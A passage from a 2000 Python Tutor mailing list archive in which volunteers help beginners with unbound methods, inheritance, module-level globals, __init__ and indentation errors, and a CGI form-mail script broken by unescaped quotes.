regardless of language. Once you figure out how to do classes, 
constructors, inheritance and polymorphism in Python translating 
from the other pages from cetus-links should e pretty easy.

Alan G.


From jcm@bigskytel.com  Tue Jun 27 14:11:22 2000
From: jcm@bigskytel.com (David Porter)
Date: Tue, 27 Jun 2000 07:11:22 -0600
Subject: [Tutor] Function output
In-Reply-To: <200006262251420170.013A9981@www.903internet.com>; from wmperry@903internet.com on Mon, Jun 26, 2000 at 10:51:42PM -0500
References: <200006250103370980.067053A9@www.903internet.com> <200006262251420170.013A9981@www.903internet.com>
Message-ID: <20000627071122.A26664@novara.avenue>

* William Perry <wmperry@903internet.com>:

> >>> class rollum:
>  def funct1 (self):
>   s = " Hello World"
>   return s
>  def output (self):
>   a = funct1()
>   return a

'a = funct1()' should be 'a = self.funct1()'.

> >>> rollum.output()
> Traceback (innermost last):
>   File "<pyshell#42>", line 1, in ?
>     rollum.output()
> TypeError: unbound method must be called with class instance 1st argument

This error means that you need to create an instance of the class:

class Rollum:
    def output(self):
        s = " Hello World"
        return s

r = Rollum()
print r.output()

I rewrote your code because the original output() function didn't do
anything more than funct1(). Also, this may be just a personal preference,
but I find python code much more easy to read if functions are written
without a space between the name and parenthesis (you do this half of the
time). 

Hope this helps,

   david.


From dyoo@hkn.EECS.Berkeley.EDU  Wed Jun 28 10:16:29 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Wed, 28 Jun 2000 02:16:29 -0700 (PDT)
Subject: [Tutor] Function output
In-Reply-To: <200006262251420170.013A9981@www.903internet.com>
Message-ID: <Pine.LNX.4.21.0006280132260.9740-100000@hkn.EECS.Berkeley.EDU>

Hello!

On Mon, 26 Jun 2000, William Perry wrote:

> embarrested to admit that the terminology I used in the original
> question was incorrect. What I'm actually trying to do is get method
> output from a class. ( Thanks to the first set of answers I have the

Don't feel embarrased --- this is how we learn!  Ok, let's take a look at
your code:


> >>> class rollum:
>  def funct1 (self):
>   s = " Hello World"
>   return s
>  def output (self):
>   a = funct1()
>   return a
> 
> >>> rollum.output()
> Traceback (innermost last):
>   File "<pyshell#42>", line 1, in ?
>     rollum.output()
> TypeError: unbound method must be called with class instance 1st argument

I see, so you want to be able to call the functions inside the class,
but without saying something like:

  r = rollum()
  r.funct1()

I'll assume that you've read through a bit of Chapter 6 in Learning
Python, which talks about this.  In fact, from my copy, it looks like Pg.
160 talks about this topic --- you can look at it afterwards to see if it
makes more sense.

The member functions of a class need to be "bound" to some instance of
that class.  From the interpreter, rollum.funct1 is:

###
>>> rollum.funct1
<unbound method rollum.funct1>
###


Let's say we have a rollum instance called r.  Here's a way to call
rollum.funct1:

###
>>> r = rollum()
>>> rollum.funct1(r)
'Hello World!'
###

What Python does normally when we say "r.funct1()" is to bind 'r' to the
first argument of function funct1.  That's what 'self' is.  When you
manually pull out that function via "rollum.funct1", you need to also
manually insert 'self' into the function to make it work again.


If we look at a simpler example, this'll make more sense:

###
class SayHello:
  def speak(self):
    print "Hello!"

s = SayHello()
###

then "SayHello.speak(s)" and "s.speak()" do the same thing:

###
>>> SayHello.speak(s)
Hello!
>>> s.speak()
Hello!
###


Normally, you usually do the latter, since it's shorter to write.  It is
very good that you're looking at this, however, because later in Chapter
6, you'll get introducted to the idea of inheritence, where this sort of
stuff becomes very useful.


I'll introduce a bit of it here.  In inheritence, you can take a
preexisting class, and augment it slightly with different behavior.  
Let's say we're simulating a courteous child who's learning how to count.

###
class Beginner:
  def sayHello(self):
    print "Hello there."
  def count(self):
    print "I can count to one!"
###

Ok, simple enough.  But let's say we want to make an intermediate, who's
studied tons and tons, who can count to an extraordinarily high number,
and yet is still able to greet us warmly.  We'd like to see something
like:

  "Hello there."
  "I can count to one!"
  "I can count to two!"

We could write this as follows:

###
class Intermediate(Beginner):
  def count(self):
    print "I can count to one!"
    print "I can count to two!"
###

and we'd be able to do something like:

###
child = Intermediate()
child.sayHello()
child.count()
###

That extra syntax in the class definition of Intermediate means: "Let's
borrow all of the definitions of the Beginner, all except the count
function, because that's being redefined".  This allows us to let an
Intermediate sayHello() still, even though we haven't explicitly written
it.

You might notice, however, that instead of completely replacing the
definition of the beginner's count(), we might want to build on top of
that.  Learning is by building on top of what you already know.  How can
we do that?  This will look familiar to you:

###
class Intermediate(Beginner):
  def count(self):
    Beginner.count(self)
    print "I can count to two!"
###


Here's the interpreter session:

###
>>> child = Intermediate()
>>> child.count()
I can count to one!
I can count to two!
###


Again, if you have any questions, feel free to ask!



From wesc@alpha.ece.ucsb.edu  Wed Jun 28 11:16:46 2000
From: wesc@alpha.ece.ucsb.edu (Wesley J. Chun)
Date: Wed, 28 Jun 2000 03:16:46 -0700 (PDT)
Subject: [Tutor] Function output
Message-ID: <200006281016.DAA14782@alpha.ece.ucsb.edu>

    > Date: Mon, 26 Jun 2000 22:51:42 -0500
    > From: "William Perry" <wmperry@903internet.com>
    > 
    > >>> class rollum:
    >  def funct1 (self):
    >   s = " Hello World"
    >   return s
    >  def output (self):
    >   a = funct1()
    >   return a
    >  
    > >>> rollum.output()
    > Traceback (innermost last):
    >   File "<pyshell#42>", line 1, in ?
    >     rollum.output()
    > TypeError: unbound method must be called with class instance 1st argument
    > 
    > >>> class rollum:
    >  def funct1 (self):
    >   s = " Hello World"
    >   return s
    >  def output (self):
    >   a = funct1()
    >   return a
    >  def printer (self):
    >   print self.output()
    >   
    > >>> rollum.printer()
    > Traceback (innermost last):
    >   File "<pyshell#47>", line 1, in ?
    >     rollum.printer()
    > TypeError: unbound method must be called with class instance 1st argument

hi...

oh so close.  the key to each problem you run into is due
to the fact that the assignment you have in output() does
not called with an instance.  so change...

    >   a = funct1()

to

    >   a = self.funct1()

... just like how you called self.output() from the printer
method.  then things should work fine.

as you can probably tell when you call self.foo(), what's
really happening is class.foo(self)... this is handled by
the interpreter so you don't have to worry about (although
you can make the latter call too)!  if you wanted to try it,
you would enter:

rollum.funct1(self) # rather than self.funct1()

in either case, an instance is passed in to appease the
interpreter.

hope this helps!!

-wesley

"Core Python Programming", Prentice-Hall, TBP Summer 2000
    http://www.phptr.com/ptrbooks/ptr_0130260363.html
    http://www.softpro.com/languages-python.html

wesley.j.chun :: wesc@alpha.ece.ucsb.edu
cyberweb.consulting :: silicon.valley, ca
http://www.roadkill.com/~wesc/cyberweb/


From alan.gauld@bt.com  Wed Jun 28 11:30:13 2000
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Wed, 28 Jun 2000 11:30:13 +0100
Subject: [Tutor] Function output
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20751D1DE@mbtlipnt02.btlabs.bt.co.uk>

> >From Idle screen:
> 
> 
> >>> class rollum:
>  def funct1 (self):
>   s = " Hello World"
>   return s
>  def output (self):
>   a = funct1()
>   return a
>  
>  
> >>> rollum.output()

Others have picked up most of the points but for emphasis: 
the output function just returns a value. If you want to see 
that (outside of IDLE) you will need to use print.

Thus it should be:

>>> r = rollum()
>>> print r.output()


Alan G.




From wmperry@903internets.com  Wed Jun 28 23:44:51 2000
From: wmperry@903internets.com (william)
Date: Wed, 28 Jun 2000 17:44:51 -0500
Subject: [Tutor] Function output
In-Reply-To: <Pine.LNX.4.21.0006280132260.9740-100000@hkn.EECS.Berkeley.EDU>
References: <Pine.LNX.4.21.0006280132260.9740-100000@hkn.EECS.Berkeley.EDU>
Message-ID: <200006281744510530.0137F236@www.903internet.com>

Yours and several others have provided an explanation that even I can=
 understand. Reading over the explanations in the manuals/documentation now=
 that I 'got it' I see what they're saying but somehow before......

Thanks!!

Bill Perry

*********** REPLY SEPARATOR  ***********

On 6/28/2000 at 2:16 AM Daniel Yoo wrote:

>Hello!
>( Other very helpful stuff)
>
>Again, if you have any questions, feel free to ask!





From Greg.Furmanek@hit.cendant.com  Wed Jun 28 18:25:13 2000
From: Greg.Furmanek@hit.cendant.com (Furmanek, Greg)
Date: Wed, 28 Jun 2000 13:25:13 -0400
Subject: [Tutor] using global objects in classes
Message-ID: <F491D788C8F6D3119D5A009027B0D42B207943@hit-phx-mail-2.hfscorp.com>

Here is a situation for you guys. I hope you can help me.

I got 3 files.  I want to create a global object which can be 
used in all three files.  The definition of the class is in 
file 2.  The object itself is created in main file (1).

When I want to use the object in file 3 I get a NameErro.
The only way I was able to use the global object is if
I pass it to the new class.

Is there any other way to define the object to be
able to use it in any class without explicitly passing
it into the class as an argument??
        
      +----------------+    +----------------+
      |                |    |                |
      |  file 1 - main |    | file 2         |
      |  global object |    | class object   |
      |  created       |    |                |
      |                |    |                |
      |                |    |                |
      |                |    |                |
      |                |    |                |
      +----------------+    +----------------+

      +----------------+
      |                |
      | file 3         |
      | using global   |
      | object         |
      |                |
      |                |
      |                |
      |                |
      +----------------+


From dyoo@hkn.EECS.Berkeley.EDU  Thu Jun 29 01:55:28 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Wed, 28 Jun 2000 17:55:28 -0700 (PDT)
Subject: [Tutor] using global objects in classes
In-Reply-To: <F491D788C8F6D3119D5A009027B0D42B207943@hit-phx-mail-2.hfscorp.com>
Message-ID: <Pine.LNX.4.21.0006281743400.23345-100000@hkn.EECS.Berkeley.EDU>

On Wed, 28 Jun 2000, Furmanek, Greg wrote:

> When I want to use the object in file 3 I get a NameError.
> The only way I was able to use the global object is if
> I pass it to the new class.

Hmmmm... Actually, this doesn't sound too hard.  I'll make three files:  
globalinstance.py and test1.py.

### globalinstance.py
class GlobalClass:
  def sayHello(self):
    print "Hello, this is coming from an instance of the global class."

inst = GlobalClass()
### end global.py

So, what we do is create an instance of that class, which lives inside the
globalclass module.  From any other module, we'll be able to reference it
as "globalclass.inst".


### test.py
import globalclass

if __name__ == '__main__':
  inst = globalclass.inst
  inst.sayHello()
### end test.py


Hope this helps!



From dyoo@hkn.EECS.Berkeley.EDU  Thu Jun 29 01:59:16 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Wed, 28 Jun 2000 17:59:16 -0700 (PDT)
Subject: [Tutor] using global objects in classes
In-Reply-To: <Pine.LNX.4.21.0006281743400.23345-100000@hkn.EECS.Berkeley.EDU>
Message-ID: <Pine.LNX.4.21.0006281757050.27192-100000@hkn.EECS.Berkeley.EDU>

On Wed, 28 Jun 2000, Daniel Yoo wrote:

> Hmmmm... Actually, this doesn't sound too hard.  I'll make three files:  
> globalinstance.py and test1.py.

Hmmm... now that I realise it, that was just two files.  Sorry, I'm having
a hard time counting things... *grin* The idea's the same though.

It would be helpful to see some of your source code, just to make sure
that the NameError problem is coming from something like this.



From YaNkEeSfAn2485@aol.com  Thu Jun 29 15:10:52 2000
From: YaNkEeSfAn2485@aol.com (YaNkEeSfAn2485@aol.com)
Date: Thu, 29 Jun 2000 10:10:52 EDT
Subject: [Tutor] (no subject)
Message-ID: <f8.665c95.268cb2ec@aol.com>

i need help


From jcm@bigskytel.com  Thu Jun 29 15:50:56 2000
From: jcm@bigskytel.com (David Porter)
Date: Thu, 29 Jun 2000 08:50:56 -0600
Subject: [Tutor] (no subject)
In-Reply-To: <f8.665c95.268cb2ec@aol.com>; from YaNkEeSfAn2485@aol.com on Thu, Jun 29, 2000 at 10:10:52AM -0400
References: <f8.665c95.268cb2ec@aol.com>
Message-ID: <20000629085056.A17608@novara.avenue>

* YaNkEeSfAn2485@aol.com <YaNkEeSfAn2485@aol.com>:
>
> i need help
> 

Umm, you're going to have to be a bit more specific. What do you need help
with?


From dyoo@hkn.EECS.Berkeley.EDU  Thu Jun 29 20:56:20 2000
From: dyoo@hkn.EECS.Berkeley.EDU (Daniel Yoo)
Date: Thu, 29 Jun 2000 12:56:20 -0700 (PDT)
Subject: [Tutor] (no subject)
In-Reply-To: <f8.665c95.268cb2ec@aol.com>
Message-ID: <Pine.LNX.4.21.0006291256060.573-100000@hkn.EECS.Berkeley.EDU>

On Thu, 29 Jun 2000 YaNkEeSfAn2485@aol.com wrote:

> i need help

What particular problem do you have?



From masoga@mail.com  Thu Jun 29 21:39:12 2000
From: masoga@mail.com (masoga@mail.com)
Date: Thu, 29 Jun 2000 16:39:12 -0400 (EDT)
Subject: [Tutor] Class question
Message-ID: <379721299.962311152299.JavaMail.root@web305-mc.mail.com>

I read the tutorial several times and tried to run the examples in the tutorial but I get an error can someone explain to me what am I donig wrong!!
Here is the class file:

class BankAccount:
	def _init_(self, initialAmount):
	self.balance = initialAmount
	print "Account created with balance %5.2f" %self.balance
	
	def deposit(self, amount):
	self.balance = self.balance + amount
	
	def checkBalance(self):
		return self.balance

Here is the code to test the above:

from bankaccount import *

a = BankAccount(500)
a.deposit(100)
print "A= ", a.checkBalance()

Here is the error message:

Traceback (innermost last):
  File "D:\Python1.52\Pythonwin\pywin\framework\scriptutils.py", line 237, in RunScript
 exec codeObject in __main__.__dict__
  File "D:\Python1.52\deposit1.py", line 1, in ?
    from bankaccount import *
  File "bankaccount.py", line 3
     self.balance = initialAmount
         ^ SyntaxError: invalid syntax


Thanks
masoga@mail.com

______________________________________________
FREE Personalized Email at Mail.com
Sign up at http://www.mail.com/?sr=signup



From shaleh@valinux.com  Thu Jun 29 21:56:20 2000
From: shaleh@valinux.com (Sean 'Shaleh' Perry)
Date: Thu, 29 Jun 2000 13:56:20 -0700 (PDT)
Subject: [Tutor] Class question
In-Reply-To: <379721299.962311152299.JavaMail.root@web305-mc.mail.com>
Message-ID: <XFMail.20000629135620.shaleh@valinux.com>

> 
> class BankAccount:
>       def _init_(self, initialAmount):
>       self.balance = initialAmount
>       print "Account created with balance %5.2f" %self.balance
>       
>       def deposit(self, amount):
>       self.balance = self.balance + amount
>       
>       def checkBalance(self):
>               return self.balance
> 

a) it is __init__()

b) your e-mail does not reflect proper code layout.  Whitespace is important to
python, it is how the interpreter knows which piece of code goes where.

class BankAccount:
   def __init__(self, initialAmount):
      self.balance = initialAmount
      print "Account created with balance %5.2f" % (self.balance) # % tuple

   def deposit(self, amount):
      self.balance = self.balance + amount

   def checkBalance(self):
      return self.balance

when you are unsure of a problem, launch python and just type code into the
interpreter.


From deirdre@deirdre.net  Thu Jun 29 22:03:32 2000
From: deirdre@deirdre.net (Deirdre Saoirse)
Date: Thu, 29 Jun 2000 14:03:32 -0700 (PDT)
Subject: [Tutor] Class question
In-Reply-To: <XFMail.20000629135620.shaleh@valinux.com>
Message-ID: <Pine.LNX.4.10.10006291402580.8676-100000@rockhopper.deirdre.org>

On Thu, 29 Jun 2000, Sean 'Shaleh' Perry wrote:

> >       def _init_(self, initialAmount):
> >       self.balance = initialAmount

> a) it is __init__()
> 
> b) your e-mail does not reflect proper code layout.  Whitespace is
> important to python, it is how the interpreter knows which piece of
> code goes where.

Right, so basically that means that self.balance is not set within the
_init_ function.

-- 
_Deirdre   *   http://www.sfknit.org   *   http://www.deirdre.net
"Linux means never having to delete your love mail." -- Don Marti



From wilson@visi.com  Thu Jun 29 22:14:50 2000
From: wilson@visi.com (Timothy Wilson)
Date: Thu, 29 Jun 2000 16:14:50 -0500 (CDT)
Subject: [Tutor] Class question
In-Reply-To: <379721299.962311152299.JavaMail.root@web305-mc.mail.com>
Message-ID: <Pine.GSO.4.10.10006291612540.8078-100000@isis.visi.com>

On Thu, 29 Jun 2000 masoga@mail.com wrote:

> I read the tutorial several times and tried to run the examples in the tutorial but I get an error can someone explain to me what am I donig wrong!!
> Here is the class file:
> 
> class BankAccount:
> 	def _init_(self, initialAmount):
> 	self.balance = initialAmount
> 	print "Account created with balance %5.2f" %self.balance

You need to indent your statements following the def. For example,

class bankAccount:
    def __init__(self, initialAmount):   # notice the number of underscores
        self.balance = initialAmount
        print "Account created with balance %5.2f" % self.balance

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From wilson@visi.com  Thu Jun 29 22:57:42 2000
From: wilson@visi.com (Timothy Wilson)
Date: Thu, 29 Jun 2000 16:57:42 -0500 (CDT)
Subject: [Tutor] mirroring databases
Message-ID: <Pine.GSO.4.10.10006291643450.8078-100000@isis.visi.com>

Hi everyone,

I've been working on a project and it occurs to me that Python may be an
excellent tool for the job. Having no previous experience with accessing
databases directly with Python, I thought it would be a good idea to get a
quick opinion from some gurus about the feasibility of the task.

I'll try to simplify the situation, but leave the critical details.

We've got a large Oracle database running at a remote site. This DB is
accessible via the Internet and supports ODBC connections. We've also got a
Linux box that could run either PostgreSQL and MySQL in your own network.
We'd like to do a nightly mirror of the Oracle DB to PostgreSQL or MySQL.

The Oracle contains data for many schools, and we would need to do a SQL
select to pull out only the data relevant to our school. The database tables
would have exactly the same format.

Corollary: How would the problem change if our local SQL database were
running on NT?

I look forward to any ideas that you might have.

-Tim

--
Tim Wilson      | Visit Sibley online:         | Check out:
Henry Sibley HS | http://www.isd197.k12.mn.us/ | http://www.zope.org/
W. St. Paul, MN |                              | http://slashdot.org/
wilson@visi.com |   <dtml-var pithy_quote>     | http://linux.com/



From jason.brashear@amd.com  Fri Jun 30 15:25:05 2000
From: jason.brashear@amd.com (jason.brashear@amd.com)
Date: Fri, 30 Jun 2000 09:25:05 -0500
Subject: [Tutor] Having trouble with a form mail script.
Message-ID: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com>

Hello,
 My problem is that I am trying to edit a script that creates a html page
after the for has been filled out correctly.
What I want to do is put a meta refresh but when I ad that Line I get an
Internal server error.

Here is the part that works:

    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

But the user has to hit his or her back button. 
this is what I want to do:

                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=http://k86tech">"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

But that doesn't work!
So I then tried this:

                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=http://k86tech">\n"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"
That didn't work either..
Any Ideas? Can some one please help?

If you would like to see the whole script here it is:



#!/usr/bin/python

"""
1/8/00 - Modified the original code to clean-up the email
format. Cleared a bug in the output string concatenation.
Filters out Submit and REQUIRED fields.

A quick-and-dirty CGI form mailer. Requires Python 1.5.1.

$Id: formmail.py,v 1.2 1999/01/28 11:42:57 larsga Exp $
"""

OK=0
try:
    import cgi
    import StringIO
    import string
    import smtplib
    import sys  # Standard modules

    import email
    import LBBemail

    # Config

    mailserver="techdoc.amd.com"
    mailrecip="k86access@techdoc.amd.com"
#    mailrecip="barnettl@techdoc.amd.com"
    subject="K86TECH Access Request Form"
    subject2="Automatic confirmation of your K86TECH access request."

    # Setup

    # Create output control


    # Process results

    form=cgi.FieldStorage()

    # Check that required fields are present

    OE=0

    if form.has_key("REQUIRED"):
        missing=[]
        for field in string.split(form["REQUIRED"].value):
            if not form.has_key(field):
                missing.append(field)
        if form["Approvers_Email"].value == "Other: -->" :
                OE=1
                if not form.has_key("Other_Email"):
                        missing.append("Select or fill-in an email
address.")

        if form.has_key("Your_Email") :
                 A3 =form["Your_Email"].value
                 youremail = LBBemail.testemail(A3)


        if missing!=[]:
            print "Content-type: text/html\n"

 print "<HTML>\n"
            print "<HEAD>\n"
            print "<TITLE>Submission unsuccessful</TITLE>"
            print "</HEAD>\n"
            print "<BODY>\n"
            print "<H1>Submission unsuccessful</H1>\n"
            print "<P>The following fields were missing:</P>\n"
            print "<UL>"   
            for field in missing:
                print "  <LI>"+field
            print "</UL>"
            print "<P>Please try again.</P>"
            print "</BODY>\n";
            print "</HTML>\n"   
        
            OK=1
            sys.exit()
                
        
# Set up the email  
#
# This is code that will detect a mail recipient coded
# into the HTML form. It is disabled to prevent the
# unauthorized use of this script as a remailer.
#
#    if form.has_key("email"):
#       mailrecip=form["email"].value
#       OK = 1
#       LBBemail.testemail(mailrecip)
            
    
            
    if form.has_key("Approvers_Email"):
             sendor = form["Approvers_Email"].value
             if OE == 1 :
                  sendor = form["Other_Email"].value
            
    OK = 1
    A = LBBemail.testemail(sendor)
            
                
            
            
            
#
# Produce email. Check to see if form keys are used
# prior to attempting to check their value or an
# error will result.  
#   
    out=StringIO.StringIO()
    out.write("To: %s\n" % A)
    out.write("Reply-to: %s\n" % mailrecip)
    out.write("Subject: %s\n\n" % subject)
    out.write(form["Your_Name"].value)
    out.write(" has requested access to the K86Tech web site\n")
    out.write("and has routed this request to you for approval. If you
approve\n")
    out.write("this request, REPLY to this email, type APPROVED, then send,
\n")
    out.write("including the information below, to %s\n\n" % mailrecip)
    out.write("The information submitted is:\n\n")



#    if  form.has_key("Link")  :
#               local_link = `form["Link"].value`
#    local_comments = "(none)"
#               local_comments = `form["comments"].value`
    C1 = ""
    C = "Test"
    
#  Telephone
    R = (       
                "Name: " + `form["Your_Name"].value`  + "\n\n" +
                "Login: " + `form["Login"].value`  + "\n\n" +
                "Temporary Password: " + `form["Password"].value`  + "\n\n"
+
                
                "Telephone: " + `form["Telephone"].value`  + "\n\n" +
                "Email: " + youremail + "\n\n"
                )
    if  form.has_key("Comments")  :
                C1 = "Comments:\n" + form["Comments"].value + "\n\n"
    C = R + C1
    
    D = string.replace(C, "'", "")
    out.write(D)
    out.write("\n\nConfirmation was mailed to " + youremail)
    
    
    
    
    
            
#
# This is old code that scanned all form fields and printed the values.
# It was replaced by the field-specific code, above.
#               
#               out.write("\n\n====================================\n")
#               out.write("\n\nThis is a complete listing of all raw
data:\n\n")
#  for fieldname in form.keys():
#       if fieldname != "REQUIRED" and fieldname != "submit" and fieldname
!= "":
#               out.write("---"+ fieldname +": \n")
#               B = form[fieldname].value
#               out.write( B + "\n\n")
                
    # Send email
    mail=smtplib.SMTP(mailserver)
#    mail.sendmail(mailrecip,[mailrecip],out.getvalue())
    mail.sendmail(A,[A],out.getvalue())
                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=index.html">"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

# Send confirmation email to submittor.

    out2=StringIO.StringIO()
    out2.write("Reply-to: %s\n" % mailrecip)
    out2.write("From: %s\n" % mailrecip)
    out2.write("Subject: %s\n" % subject2)
    out2.write("To: %s\n\n" % `youremail`)
    out2.write("This is confirmation of your request for access\n")
    out2.write("to the K86Tech web site. Your request has been sent\nto ")
    out2.write(A)
    out2.write(" for approval.\n")
    out2.write("This email was automatically generated. The information\n")
    out2.write("you submitted was:\n\n\n")
    out2.write(D)
    mailrecip = youremail

# TEST CODE
#    print "==============<P>\n\n"
#    print "Address: "
#    print A
#    rawtime = clock()
#    sub_time = localtime(rawtime)
#    print subtime
#    cgi.test()
# END TEST CODE

print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

# Send confirmation email to submittor.

    out2=StringIO.StringIO()
    out2.write("Reply-to: %s\n" % mailrecip)
    out2.write("From: %s\n" % mailrecip)
    out2.write("Subject: %s\n" % subject2)
    out2.write("To: %s\n\n" % `youremail`)
    out2.write("This is confirmation of your request for access\n")
    out2.write("to the K86Tech web site. Your request has been sent\nto ")
    out2.write(A)
    out2.write(" for approval.\n")
    out2.write("This email was automatically generated. The information\n")
    out2.write("you submitted was:\n\n\n")
    out2.write(D)
    mailrecip = youremail

# TEST CODE
#    print "==============<P>\n\n"
#    print "Address: "
#    print A
#    rawtime = clock()
#    sub_time = localtime(rawtime)
#    print subtime
#    cgi.test()
# END TEST CODEz


Jason Brashear
jason.brashear@amd.com
Phone: 602-3708
ext.      53708
PCS:    296-4-AMD
                   
> /tutor


From scorder@cinci.rr.com  Fri Jun 30 15:55:49 2000
From: scorder@cinci.rr.com (Sam Corder)
Date: Fri, 30 Jun 2000 10:55:49 -0400
Subject: [Tutor] Having trouble with a form mail script.
In-Reply-To: <39073472CFF4D111A5AB00805F9FE4B6031E883A@txexmta9.amd.com>
Message-ID: <CPEKKMGLLILAJEKJNAPDOEDECBAA.scorder@cinci.rr.com>

I think you need to escape your quotes on the refresh line.
    print "<meta http-equiv=\"refresh\" content=\"3;URL=http://k86tech\">"
That will make the string that gets printed actually look like:

<meta http-equiv="refresh" content="3;URL=http://k86tech">

If it would have worked at all what you have it would look like:

<meta http-equiv=refresh content=3;URL=http://k86tech>

Try experimenting with that line in the interactive interpreter.

-Sam



-----Original Message-----
From: tutor-admin@python.org [mailto:tutor-admin@python.org]On Behalf Of
jason.brashear@amd.com
Sent: Friday, June 30, 2000 10:25 AM
To: tutor@python.org
Subject: [Tutor] Having trouble with a form mail script.


Hello,
 My problem is that I am trying to edit a script that creates a html page
after the for has been filled out correctly.
What I want to do is put a meta refresh but when I ad that Line I get an
Internal server error.

Here is the part that works:

    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

But the user has to hit his or her back button. 
this is what I want to do:

                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=http://k86tech">"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"

But that doesn't work!
So I then tried this:

                
    # Print confirmation
    
    print "Content-type: text/html\n"
    
    print "<HTML>\n"
    print "<HEAD>\n"
    print "<TITLE>Submission successful</TITLE>"
    print "<meta http-equiv="refresh" content="3;URL=http://k86tech">\n"
    print "</HEAD>\n"
    print "<BODY>\n"
    print "<H1>Submission successful</H1>\n"
    print "<P>Your submission has been mailed to the site administrators."
    print "<P>Confirmation has been sent to your email address."
    print "</P>\n"
    print "<P>Thank you.</P>\n"
    print "</BODY>\n";
    print "</HTML>\n"
That didn't work either..
Any Ideas? Can some one please help?

If you would like to see the whole script here it is:



#!/usr/bin/python

"""
1/8/00 - Modified the original code to clean-up the email
format. Cleared a bug in the output string concatenation.
Filters out Submit and REQUIRED fields.

A quick-and-dirty CGI form mailer. Requires Python 1.5.1.

$Id: formmail.py,v 1.2 1999/01/28 11:42:57 larsga Exp $
"""

OK=0
try:
    import cgi
    import StringIO
    import string
    import smtplib
    import sys  # Standard modules

    import email
    import LBBemail

    # Config

    mailserver="techdoc.amd.com"
    mailrecip="k86access@techdoc.amd.com"
#    mailrecip="barnettl@techdoc.amd.com"
    subject="K86TECH Access Request Form"
    subject2="Automatic confirmation of your K86TECH access request."

    # Setup

    # Create output control


    # Process results

    form=cgi.FieldStorage()

    # Check that required fields are present

    OE=0

    if form.has_key("REQUIRED"):
        missing=[]
        for field in string.split(form["REQUIRED"].value):
            if not form.has_key(field):
                missing.append(field)
        if form["Approvers_Email"].value == "Other: -->" :
                OE=1
                if not form.has_key("Other_Email"):
                        missing.append("Select or fill-in an email
address.")

        if form.has_key("Your_Email") :
                 A3 =form["Your_Email"].value
                 youremail = LBBemail.testemail(A3)


        if missing!=[]:
            print "Content-type: text/html\n"

 print "<HTML>\n"
            print "<HEAD>\n"
            print "<TITLE>Submission unsuccessful</TITLE>"
            print "</HEAD>\n"
            print "<BODY>\n"
            print "<H1>Submission unsuccessful</H1>\n"
            print "<P>The following fields were missing:</P>\n"
            print "<UL>"   
            for field in missing:
                print "  <LI>"+field
            print "</UL>"
            print "<P>Please try again.</P>"
            print "</BODY>\n";
            print "</HTML>\n"   
        
            OK=1
            sys.exit()
                
        
# Set up the email  
#
# This is code that will detect a mail recipient coded
# into the HTML form. It is disabled to prevent the
# unauthorized use of this script as a remailer.
#
#    if form.has_key("email"):
#       mailrecip=form["email"].value
#       OK = 1
#       LBBemail.testemail(mailrecip)
            
    
            
    if form.has_key("Approvers_Email"):
             sendor = form["Approvers_Email"].value
             if OE == 1 :
                  sendor = form["Other_Email"].value
            
    OK = 1
    A = LBBemail.testemail(sendor)
            
                
            
            
            
#
# Produce email. Check to see if form keys are used
# prior to attempting to check their value or an
# error will result.  
#   
    out=StringIO.StringIO()
